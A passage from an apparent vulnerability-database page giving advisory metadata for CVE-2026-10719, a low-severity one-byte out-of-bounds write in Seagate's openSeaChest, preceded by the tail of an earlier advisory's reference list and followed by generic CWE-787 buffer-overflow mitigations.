"url": "https://bugzilla.mozilla.org/buglist.cgi?bug_id=2008912%2C2010050%2C2010275%2C2012331"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2442318"
},
{
"type": "WEB",
"url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-2792.json"
},
{
"type": "WEB",
"url": "https://www.mozilla.org/security/advisories/mfsa2026-13"
},
{
"type": "WEB",
"url": "https://www.mozilla.org/security/advisories/mfsa2026-15"
},
{
"type": "WEB",
"url": "https://www.mozilla.org/security/advisories/mfsa2026-16"
},
{
"type": "WEB",
"url": "https://www.mozilla.org/security/advisories/mfsa2026-17"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:3338"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:3339"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:3361"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:3491"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:3492"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:3493"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:3494"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:3495"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:3496"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:3497"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:3515"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:3516"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:3517"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:3976"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:3978"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:3979"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:3980"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-6RCH-J2WJ-8H2J
Vulnerability from github – Published: 2026-06-03 00:30 – Updated: 2026-06-03 00:30
VLAI
Details
Out of bounds write in openSeaChest’s --showSupportedFormats in Seagate’s openSeaChest v25.05.3 on all supported platforms allows for writing 1 extra byte outside of allocated memory which sets a value to 1 via a maliciously crafted NVMe device with a bogus value in the namespace FLBAS byte.
Severity
{
"affected": [],
"aliases": [
"CVE-2026-10719"
],
"database_specific": {
"cwe_ids": [
"CWE-787"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-02T23:16:35Z",
"severity": "LOW"
},
"details": "Out of bounds write in openSeaChest\u2019s --showSupportedFormats in Seagate\u2019s openSeaChest v25.05.3 on all supported platforms allows for writing 1 extra byte outside of allocated memory which sets a value to 1 via a maliciously crafted NVMe device with a bogus value in the namespace FLBAS byte.",
"id": "GHSA-6rch-j2wj-8h2j",
"modified": "2026-06-03T00:30:26Z",
"published": "2026-06-03T00:30:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-10719"
},
{
"type": "WEB",
"url": "https://www.seagate.com/product-security/#security-advisories"
},
{
"type": "WEB",
"url": "https://www.seagate.com/support/software/seachest"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:L/AC:H/AT:P/PR:H/UI:N/VC:N/VI:L/VA:L/SC:N/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:N/AU:Y/R:A/V:D/RE:L/U:Clear",
"type": "CVSS_V4"
}
]
}
Mitigation MIT-3
Requirements
Strategy: Language Selection
- Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, many languages that perform their own memory management, such as Java and Perl, are not subject to buffer overflows. Other languages, such as Ada and C#, typically provide overflow protection, but the protection can be disabled by the programmer.
- Be wary that a language's interface to native code may still be subject to overflows, even if the language itself is theoretically safe.
Mitigation MIT-4.1
Architecture and Design
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- Examples include the Safe C String Library (SafeStr) by Messier and Viega [REF-57], and the Strsafe.h library from Microsoft [REF-56]. These libraries provide safer versions of overflow-prone string-handling functions.
Mitigation MIT-10
Operation
Build and Compilation
Strategy: Environment Hardening
- Use automatic buffer overflow detection mechanisms that are offered by certain compilers or compiler extensions. Examples include: the Microsoft Visual Studio /GS flag, Fedora/Red Hat FORTIFY_SOURCE GCC flag, StackGuard, and ProPolice, which provide various mechanisms including canary-based detection and range/index checking.
- D3-SFCV (Stack Frame Canary Validation) from D3FEND [REF-1334] discusses canary-based detection in detail.
Mitigation MIT-9
Implementation
- Consider adhering to the following rules when allocating and managing an application's memory:
- Double check that the buffer is as large as specified.
- When using functions that accept a number of bytes to copy, such as strncpy(), be aware that if the destination buffer size is equal to the source buffer size, it may not NULL-terminate the string.
- Check buffer boundaries if accessing the buffer in a loop and make sure there is no danger of writing past the allocated space.
- If necessary, truncate all input strings to a reasonable length before passing them to the copy and concatenation functions.
Mitigation MIT-11
Operation
Build and Compilation
Strategy: Environment Hardening
- Run or compile the software using features or extensions that randomly arrange the positions of a program's executable and libraries in memory. Because this makes the addresses unpredictable, it can prevent an attacker from reliably jumping to exploitable code.
- Examples include Address Space Layout Randomization (ASLR) [REF-58] [REF-60] and Position-Independent Executables (PIE) [REF-64]. Imported modules may be similarly realigned if their default memory addresses conflict with other modules, in a process known as "rebasing" (for Windows) and "prelinking" (for Linux) [REF-1332] using randomly generated addresses. ASLR for libraries cannot be used in conjunction with prelink since it would require relocating the libraries at run-time, defeating the whole purpose of prelinking.
- For more information on these techniques see D3-SAOR (Segment Address Offset Randomization) from D3FEND [REF-1335].
Mitigation MIT-12
Operation
Strategy: Environment Hardening
- Use a CPU and operating system that offers Data Execution Protection (using hardware NX or XD bits) or the equivalent techniques that simulate this feature in software, such as PaX [REF-60] [REF-61]. These techniques ensure that any instruction executed is exclusively at a memory address that is part of the code segment.
- For more information on these techniques see D3-PSEP (Process Segment Execution Prevention) from D3FEND [REF-1336].
Mitigation MIT-13
Implementation
Replace unbounded copy functions with analogous functions that support length arguments, such as strcpy with strncpy. Create these if they are not available.
No CAPEC attack patterns related to this CWE.